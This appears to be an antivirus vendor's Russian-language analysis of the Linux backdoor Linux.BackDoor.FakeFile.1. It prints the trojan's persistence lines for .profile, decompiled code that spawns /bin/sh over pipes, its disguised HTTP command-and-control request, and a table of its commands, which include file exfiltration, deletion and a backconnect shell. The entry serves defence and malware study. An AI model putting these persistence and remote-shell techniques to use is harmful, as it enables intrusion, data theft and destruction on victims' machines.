SHA1:
- 0138fc4d50c734e288388f7c8cbbea5e2ad08a8b
Троянец-бэкдор для операционных систем семейства Linux. При запуске сохраняет свою копию в файле:
<HOME>/.gconf/apps/gnome-common/gnome-common
Затем ищет в папке, из которой был запущен, скрытый файл с именем, соответствующим своему имени, после чего перемещает его на место исполняемого файла. Например, если ELF-файл Linux.BackDoor.FakeFile.1 имел имя AnyName.pdf, он будет искать скрытый файл с именем .AnyName.pdf, после чего сохранит его вместо оригинального файла командой mv .AnyName.pdf AnyName.pdf.
Если файл обнаружен, открывает соответствующее приложение для просмотра файла:
Расширение | приложение |
---|---|
".doc .DOC .xls. XLS .ppt .PPT .docx .DOCX .xlsx .XLSX .pptx .PPTX .odt .ODT .ods .ODS .odp .ODP" | soffice |
".pdf .PDF" | evince |
все остальное | gedit |
Если файл отсутствует, создает его и открывает в приложении gedit. После этого троянец поверяет имя дистрибутива Linux, используемого в атакуемой системе: если оно отличается от openSUSE, в файлы <HOME>/.profile или <HOME>/.bash_profile записываются следующие строки:
# if execute the gnome-common
if [ -d "$HOME/.gconf/apps/gnome-common/" ] ; then
"$HOME/.gconf/apps/gnome-common/gnome-common"
fi
Запуск приложения для просмотра файла и собственной копии осуществляется следующим образом:
pipe(v32);
pipe(v31);
status = fork();
if ( !status )
{
close(0);
dup(v31[0]);
close(1);
dup(v32[1]);
close(2);
dup(v32[1]);
close(v32[1]);
close(v31[0]);
close(v32[0]);
close(v31[1]);
sleep(1u);
while ( execl("/bin/sh", "/bin/sh", 0) < 0 )
sleep(1u);
exit(status);
}
v50 = dup(0);
v51 = dup(1);
v52 = dup(2);
close(0);
dup(v32[0]);
close(1);
dup(v31[1]);
close(v31[1]);
close(v32[0]);
close(v31[0]);
close(v32[1]);
write(1, s1, strlen(s1));
write(1, &unk_8053D40, 1u);
Если вредоносная программа была запущена из папки <home>/.gconf/apps/gnome-common/gnome-common, троянец извлекает из собственного файла и расшифровывает конфигурационные данные, после чего запускает два потока: один обменивается информацией с управляющим сервером, второй следит за длительностью соединения. Если троянцу не поступало команд более 30 минут, соединение разрывается. При обмене информацией с управляющим сервером его ответы маскируются под http-запросы следующего вида:
GET /index.asp?title=Welcome&picture=welcome.gif<зашифрованная строка>
HTTP/1.0
Host: <IP-адрес жертвы>
User-Agent: Mozilla/4.0
Connection: Keep-Alive
Accept: * /*
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Pragma: no-cache
Linux.BackDoor.FakeFile.1 может выполнять следующие команды:
имя | Назначение |
---|---|
RR | передать на управляющий сервер кол-во сообщений, отправленных в ходе текущего соединения |
DR | передать список содержимого заданной папки |
DF | передать на управляющий сервер указанный файл или папку со всем содержимым |
D1 | удалить файл с помощью команды rm –r |
D0 | удалить файл с помощью команды unlink |
RF | переименовать указанную папку |
US | удалить себя |
RP | запустить новую копию процесса |
закрыть текущее соединение | |
RT | организовать backconnect и запустить sh |
CP | завершить выполнение бэкдора |
FF | открыть исполняемый файл процесса на запись |
CO | закрыть файл процесса |
BF | создать файл или папку |
FD | записать переданные значения в файл |
EF | получить листинг директории с помощью команды ls |
CX | установить права 777 на указанный файл |
CR | завершить backconnect |